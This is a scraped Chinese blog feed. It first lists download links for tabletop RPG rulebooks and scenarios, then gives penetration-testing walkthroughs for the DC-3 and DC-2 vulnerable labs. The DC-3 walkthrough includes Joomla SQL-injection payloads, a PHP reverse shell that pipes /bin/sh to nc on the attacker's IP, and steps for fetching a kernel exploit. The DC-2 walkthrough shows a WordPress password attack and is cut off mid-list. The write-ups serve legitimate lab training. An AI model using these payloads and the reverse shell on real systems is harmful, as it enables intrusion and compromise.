怪物之锤

介绍了《克苏鲁的呼唤》中的各种生物怪物。

https://masternoah.lanzoui.com/ipbDgqnx10d

克苏鲁时空穿梭

在七个不同时代下进行克苏鲁的呼唤的游戏指导

本体

https://masternoah.lanzoui.com/iGltkqnx08f

角色卡

注意：本资源为英文原版。

官方英文，pdf文件。

https://masternoah.lanzoui.com/iB5iMqnxfcj

守秘人卡组【Call of Cthulhu Keeper Decks】

内含4套卡牌，每套牌涵盖游戏的不同方面。将这些卡组与《基础套装》或《入门套装》一起使用，可以方便游戏进程，并增强玩家对超自然恐怖的体验。

具体包含：

The Phobia Deck: 46张详细阐述了各种发狂症状的卡牌。

The Curious Characters Deck: 46张详细阐述了来自1920年代的46位不同的非玩家角色的能力和故事背景。

The Unfortunate Events Deck: 46张不幸事件卡牌，能让守秘人给自己的剧情添上一些新的“惊喜”。

The Weapons and Artifacts Deck: 46张《基础套装》中出现的武器和道具的详细说明。

https://masternoah.lanzoui.com/i2ppKqnx12f

幻梦境规则【Call of Cthulhu Dreamlands: Roleplaying Beyound the Wall of Sleep】

英文原版

注意：本资源对应COC5th规则书。 注意：本资源为英文原版。

https://masternoah.lanzoui.com/i7dv9qnx3di

汉化版（doc文档，未排版）

注意：本资源对应COC5th规则书。

https://masternoah.lanzoui.com/iGtNwqnx17a

汉化版（仅1-3章，已排版）

本资源对应COC5th规则，但已经过转换。

https://masternoah.lanzoui.com/iqHMdqnx0bi

日本COC

克苏鲁2010【クトゥルフ神話TRPG２０１０】

注意：本资源对应COC6th规则书。 注意：本资源为日文原版。

現代日本を舞台に、邪神、クリーチャー、カルティストらに立ち向かう探索行。各種装備、組織、科学などといった設定から、各種選択ルールなど、現代日本での冒険に欠かせない各種解説/データを収録している。またすべて現代日本を舞台としたシナリオを3本収録。本書と“クトゥルフ神話TRPG”があればすぐにゲームを楽しむことができる。

https://masternoah.lanzoui.com/iLKdkqq0h5e

克苏鲁2015【クトゥルフ神話TRPG２０１５】

注意：本资源对应COC6th规则书。 注意：本资源为日文原版。

本書は『クトゥルフ神話TRPG クトゥルフ2010』および『クトゥルフ神話TRPG クトゥルフカルト・ナウ』に続き、現代日本を舞台に邪神、クリーチャー、カルティストらに立ち向かう探索行を扱うものだ。『クトゥルフ神話TRPG クトゥルフ2010』ではカバーされていなかったアーティファクトの導入・自作の仕方、そして刀剣など日本古来のアーティファクトの紹介、現代テクノロジー、妖怪、都市伝説などの導入法、探索者を支援してくれる組織・個人の導入、ダイスロールでシナリオのプロットを作成する「シナリオグラム」などが収録されている。また、探索者の特徴付けを強化し、現代日本のより個性的な職業(ネットタレントやビデオ・ジャーナリストなど)を追加した上、ランダムに特徴を与える選択ルールも加わった。さらに狂信者や深きものの血を引く探索者のルールも収録。ほか、新しい銃器や魔道書のデータも追加。シナリオは通常の3本に加え、1人でプレイできるソロシナリオ1本が収録、仲間が見つからないときでも楽しめる。

https://masternoah.lanzoui.com/iNeMfqq0j2d

【龙蛋物语剧本】【○○的奇妙旅行】~森之妖精与暴躁的犬人~

Tue, 22 Jun 2021 00:00:00 GMT

○○是一片广阔的大陆，人类、精灵、犬人和喵布林在这片大陆上和睦地生活在一起。

这里的绝大多数居民向往着和平，安心地居住着、旅行着。

然而近期不知道发生了什么变故，一些犬人和喵布林突然开始袭击人类、掠夺人类的村庄、在城市里喧闹。

○○大陆最大的王国“索菲亚”的国王向各地的村庄和城市颁发诏令，鼓励旅行者们踏上自己的旅途，找到犬人和喵布林暴动的原因。

旅行者们的故事将从这里开始。

剧本简介

适用于《龙蛋物语》规则书
推荐人数： 2 - 4人
适合等级： Lv 1（新手）
剧本类型：战斗 & 探索
游戏时长： 3 - 4小时

更新历史

2021.08.23更新（当前版本）

修复了“旅行者出身”中部分不合理的设定，现在不会出现诡异的奇数能力值了。
修复了串戏的CC版权页，现在不会看到《心跳研学旅行》的版权说明了。
调整了弱到令人发指的怪物数据，现在犬人不再是炮灰了。
修改排版，现在看起来舒服多了。

下载链接

蓝奏云：https://masternoah.lanzoup.com/i2iyzyaging
百度网盘：链接：https://pan.baidu.com/s/1_L55OWQ_UlxJtyESg7RAyg (提取码：noah)

其它信息

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要剧本的word版
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

剧本中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。

【COC剧本集】古城诡秘

Tue, 22 Jun 2021 00:00:00 GMT

剧本集简介

适用于COC7th规则
本剧本集包含了古城事件簿①②③合计三篇剧本：
1. 校园黑色怪谈
2. 深埋地底的呼唤
3. 可曾遇见梦中仙境
对剧本进行了统一纠错、修改
使用规范与单一剧本相同

更新历史

注意：《古城诡秘》的重制版已经发布，强烈建议使用重置版剧本集！

2020.11.28更新（当前版本）

将原本的第三章“欢迎来到仙境”替换为重置后的“可曾遇见梦中仙境”
修改排版、修正错误

下载地址

蓝奏云：https://masternoah.lanzoui.com/i5qpjiv5j0d
百度网盘：https://pan.baidu.com/s/1sxNLZpTPhtRGIJIeNjKGoQ (提取码：noah)
dicecho页面：古城诡秘 | 模组 | 骰声回响 (dicecho.com)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿③完全重置】可曾遇见梦中仙境

Tue, 22 Jun 2021 00:00:00 GMT

因为之前的“欢迎来到仙境”在测试过后发现了许多逻辑上的错误，我将剧本重写了一边，进行了大规模的修改。

剧情变得和之前完全不一样了。

不过也有朋友说还是之前的版本跑起来氛围更好，所以之前的版本也就不删除了，留在博客里也算是给自己一个警示吧。

剧本简介

适用于COC7th规则
适于2-4名调查员共同进行冒险
预计游戏时长4-6小时（网团耗时更长）
故事发生于中国·古城市，调查员可以来自世界各地
偏向于调查的半开放剧本

在2020年10月1日，你收到了一条中奖短信，准备前往古城市南边古南山脉里的度假山庄旅游。

注意：《古城诡秘》剧本集包含当前剧本，且剧本集中的版本经过了修改，强烈建议下载剧本集！本页面仅作存档使用，未来不会进行任何更新。

下载链接

蓝奏云：https://masternoah.lanzoui.com/iv5uliv59sb
百度网盘：https://pan.baidu.com/s/1KXB-0yYiAv6CZvKoABWIdw (提取码：noah)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC相关】幻梦境规则汉化整理

Tue, 22 Jun 2021 00:00:00 GMT

翻译来源

https://www.goddessfantasy.net/bbs/index.php?topic=81666.0

最近写剧本突然想到幻梦境这回事，然后在网上找了找幻梦境的规则，只找到了这个5版的翻译。

原本只有txt，看着难受死，于是就自己排版了。

排版的过程中加了一些注释，把5版的内容尽量转换成7版了。

下载地址

坚果云：https://www.jianguoyun.com/p/Dck2zk8QmO6xCBjsxrMD (密码 : noah)
蓝奏云：https://masternoah.lanzoui.com/iGRhVfl1wpe （密码:noah）
百度网盘：https://pan.baidu.com/s/1TbTQhh22zKflilh4OXRgDw (提取码：noah)

【COC剧本】【古城事件簿①】黑色校园怪谈

Tue, 22 Jun 2021 00:00:00 GMT

剧本简介

适用于COC7th规则
适于3-6名调查员共同进行冒险
预计游戏时长3-8小时
故事发生于中国·古城市
偏向于调查的封闭非线性剧本
夹了不少私货

剧本背景

2020年4月9日，你因为种种原因来到古城中学，调查这里近期发生的学生失踪事件……

下载地址

蓝奏云：https://masternoah.lanzoui.com/icy7a6j (密码:noah)
百度云：https://pan.baidu.com/s/1qKn4J9vCnmqzcawD0oSXQA (提取码：noah )
魔都：https://www.cnmods.net/#/moduleDetail/index?keyId=1322 (老版本，存在问题)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿③】欢迎来到仙境

Tue, 22 Jun 2021 00:00:00 GMT

剧本简介

适用于COC7th规则
适于2-4名调查员共同进行冒险
预计游戏时长4-6小时（网团耗时更长）
故事发生于中国·古城市，调查员可以来自世界各地
偏向于调查的半开放剧本

2020年10月1日，你收到了一条中奖短信，准备前往古城市南边古南山脉里的度假山庄旅游。在这里你将遭遇到一些难以置信的事情……

下载链接

蓝奏云:https://masternoah.lanzoui.com/iuuNlg6nv0b
百度网盘：https://pan.baidu.com/s/154Jwh7M1YsCnlhZgTdLSNA (提取码：noah )

碎碎念

头一回认认真真写了预设导入，不过总觉得自己写的没什么新意……毕竟平时带团的时候都是：“来，你们自己编一下自己为什么要来干这事儿。”

另外这次这个剧本可谓是放飞自我了，把自己想写的东西都写进去了，大概就是个嵌合怪吧……

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿②】深埋地底的呼唤

Tue, 22 Jun 2021 00:00:00 GMT

剧本简介

适用于COC7th规则
适于3-6名调查员共同进行冒险
预计游戏时长4-6小时（网团耗时更长）
故事发生于中国·古城市
偏向于调查的封闭线性剧本

剧本背景

2020年6月18日，你听闻古城市正在新修的地铁8号线在修建过程中偶然发掘出了一座宏伟的古代地下陵墓，出于种种原因，你决定前去一探究竟。

下载地址

蓝奏云：https://masternoah.lanzoui.com/iOhMKf6d6ej (密码:47u0)
百度网盘：https://pan.baidu.com/s/1u8fgW7BriFYuO4ZTAWgwMg (提取码：noah)
魔都:https://cnmods.net/#/moduleDetail/index?keyId=1521 (老版本)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿④】血水

Tue, 22 Jun 2021 00:00:00 GMT

剧本简介

适用于COC7th规则
适于2-5名调查员共同进行冒险
预计游戏时长5-6小时（网团耗时更长）
故事发生于中国·古城市，调查员可以来自世界各地
开放度极高的剧本

剧本背景

2021年1月20日早上7点，你在自己的事务所坐在沙发上无聊地看着电视，听着古城市电视台的早间新闻。新闻里说的无非是一些在你听起来无比无聊的事情。

过了一段时间，事务所的门铃在8点整时响了起来。委托人那一分钟不差的守时让你感到非常愉快。大概是昨天晚上时已经在电话里预约过的委托人前来拜访了吧……

下载链接

坚果云：https://www.jianguoyun.com/p/DZ5mUsgQq-TACRjpqPsD
蓝奏云：https://masternoah.lanzoui.com/iKrI0qjf1ub
百度网盘：https://pan.baidu.com/s/1vkIZbl9XSrA0lkwkI8lt5A (提取码：noah)
dicecho页面：血水 | 模组 | 骰声回响 (dicecho.com)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

Walkthrough for DC-03

Tue, 27 Apr 2021 00:00:00 GMT

Walkthrough for DC-03

Description

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

信息收集

Nmap

Nmap scan report for 192.168.21.161
Host is up (0.00053s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:C9:9C:BD (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms 192.168.21.161

获取到以下信息：

靶机80端口开放http服务，使用了Joomla CMS

AWVS扫描

确定了Joomla的版本为3.7.0。

/administrator、/component、/media和/templates目录存在目录遍历。

发现了疑似管理员登陆的页面/administrator。

JoomScan

没有发现什么特别的东西。

Joomla管理员权限获取

访问Joomla首页。

世界线一

burp抓包发现明文密码传输，尝试爆破密码。

爆出来了管理员密码。

世界线二

在metasploit中搜索joomla 3.7.0的利用方式。

搜到了一个SQL注入和一个XSS，尝试利用SQL注入。

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

使用给出的payload使用nmap进行注入。

拿到了使用bcrypt加密的密码，使用Hashcat爆破。

Bcrypt加密算法

Rounds: 正数，代表hash杂凑次数，数值越高越安全，默认10次。

Salt: 盐，一个128bits随机字符串，22字符

Hash: 经过明文密码password和盐salt进行hash，个人的理解是默认10次下，循环加盐hash10次，得到Hash

获取shell

进入网站后台，学习了一下joomla的页面管理。个人理解joomla的页面显示依托于template，真正的网页源代码保存在/administrator/templates/[template name]目录下。

在后台中进入Templates -> Templates -> Beez3 Details and Files页面，上传一个反弹shell。

<?php
    system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.158 5555 >/tmp/f');
?>

在linux上使用nc -nlvp 5555接收回传数据。

这里也可以上传一句话shell，用蚁剑连接进行终端模拟。

提权

上传了Linux_Exploit_Suggester脚本，没有爆出来可利用的漏洞。

也没有找到可以利用的SUID，也没有配置不当的sudo权限。

在metasploit中查找可利用的EXP。

compgen -u指令查看全部用户，发现了一个叫dc3的用户，尝试使用之前得到的密码snoopy进行登录，认证失败。

突然想起来一个场外因素，先前的靶机都是Debian系统，而这次使用了Ubuntu，或许有Ubuntu的CVE可用。在网上搜索了一下，Ubuntu 16.04有一个本地提权漏洞。在shell中使用lsb_release -a和uname -a命令查看系统版本和内核版本，发现Ubuntu 16.04 内核 4.4.0 正好满足漏洞发生条件。

但是网上找到的EXP都跑不通，于是在metasploit中搜索，发现了相同的漏洞，使用metasploit中提供的EXP。

通过python起一个http服务，在shell中通过curl将漏洞利用脚本下载到服务器上，编译运行。

因为该漏洞利用是对内存的利用，当进行一次提权之后，被利用的内存位置中的数据就会发生改变，导致无法进行第二次提权。因此，服务器每次重启只能使用该方式进行一次提权，提权后应当尽快进行权限维持。

在/root目录下读取到flag。

Walkthrough for DC-02

Sat, 24 Apr 2021 00:00:00 GMT

Walkthrough for DC-02

Description

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
就像DC-1一样，DC-2是另一个专门构建的易受攻击的实验室，目的是获得渗透测试领域的经验。

As with the original DC-1, it's designed with beginners in mind.
与DC-1，它的设计充分考虑初学者。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
需要具备Linux技能并熟悉Linux命令行，以及一些基本渗透测试工具。

Just like with DC-1, there are five flags including the final flag.
与DC-1一样，共有包括final flag在内的5个flag。

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
同样，就像DC-1一样，flag对于初学者来说很重要，但对有经验的人则不那么重要。

In short, the only flag that really counts, is the final flag.
简而言之，唯一真正重要的flag是final flag。

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
对于初学者来说，Google是您的朋友。 好吧，除了所有的隐私问题等等。

I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.
我没有探索获取root权限的所有方法，因为我废弃了我一直在使用的先前版本，并且除了基本的OS安装之外，还开始全新的学习。

下载地址

DC-02

flag1

nmap端口扫描

noah@NoahsKali ~> sudo nmap -sT -sV -A -p- -T5 192.168.21.160
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-24 12:21 HKT
Nmap scan report for dc-2 (192.168.21.160)
Host is up (0.00036s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.7.10
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: DC-2 &#8211; Just another WordPress site
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:92:5D:3A (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms dc-2 (192.168.21.160)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds

看到服务器开放了两个端口，一个是部署了wordpress的80端口，一个是跑了ssh的7744端口

访问wordpress页面

直接访问ip地址的话会报错，修改一下hosts，让ip地址被解析为http://dc-2即可。访问网页后找到flag1

flag2

使用CeWL生成字典

根据flag1里的提示，使用CeWL生成字典。其实完全没有必要，拿一个弱口令字典一样可以用。

noah@NoahsKali ~/T/CeWL> ruby cewl.rb http://dc-2/ > ~/Desktop/DC-02/wppass.dic

使用wpscan扫描

noah@NoahsKali ~ [1]> wpscan --password-attack wp-login --passwords ~/Desktop/DC-02/wppass.dic --api-token L1HHTCzyd5B********EYGKsd8nj4tb0rg885Wh3WgM --url http://dc-2/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.21.160]
[+] Started: Sat Apr 24 12:45:29 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |
 | [!] 33 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
 |     Fixed in: 4.7.11
 |     References:
 |      - https://wpscan.com/vulnerability/42ab2bd9-bbb1-4f25-a632-1811c5130bb4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
 |      - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
 |      - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
 |      - https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
 |      - https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
 |      - https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/e3ef8976-11cb-4854-837f-786f43cbdf44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/999dba5a-82fb-4717-89c3-6ed723cc7e45
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
 |
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/046ff6a0-90b2-4251-98fc-b7fba93f8334
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/3182002e-d831-4412-a27d-a5e39bb44314
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/7f7a0795-4dd7-417d-804e-54f12595d1e4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
 |
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/65f1aec4-6d28-4396-88d7-66702b21c7a2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 |     Fixed in: 4.7.12
 |     References:
 |      - https://wpscan.com/vulnerability/d741f5ae-52ca-417d-a2ca-acdfb7ca5808
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
 |
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |      - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 4.7.13
 |     References:
 |      - https://wpscan.com/vulnerability/d150f43f-6030-4191-98b8-20ae05585936
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
 |
 | [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
 |     Fixed in: 4.7.14
 |     References:
 |      - https://wpscan.com/vulnerability/4494a903-5a73-4cad-8c14-1e7b4da2be61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
 |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
 |      - https://hackerone.com/reports/339483
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
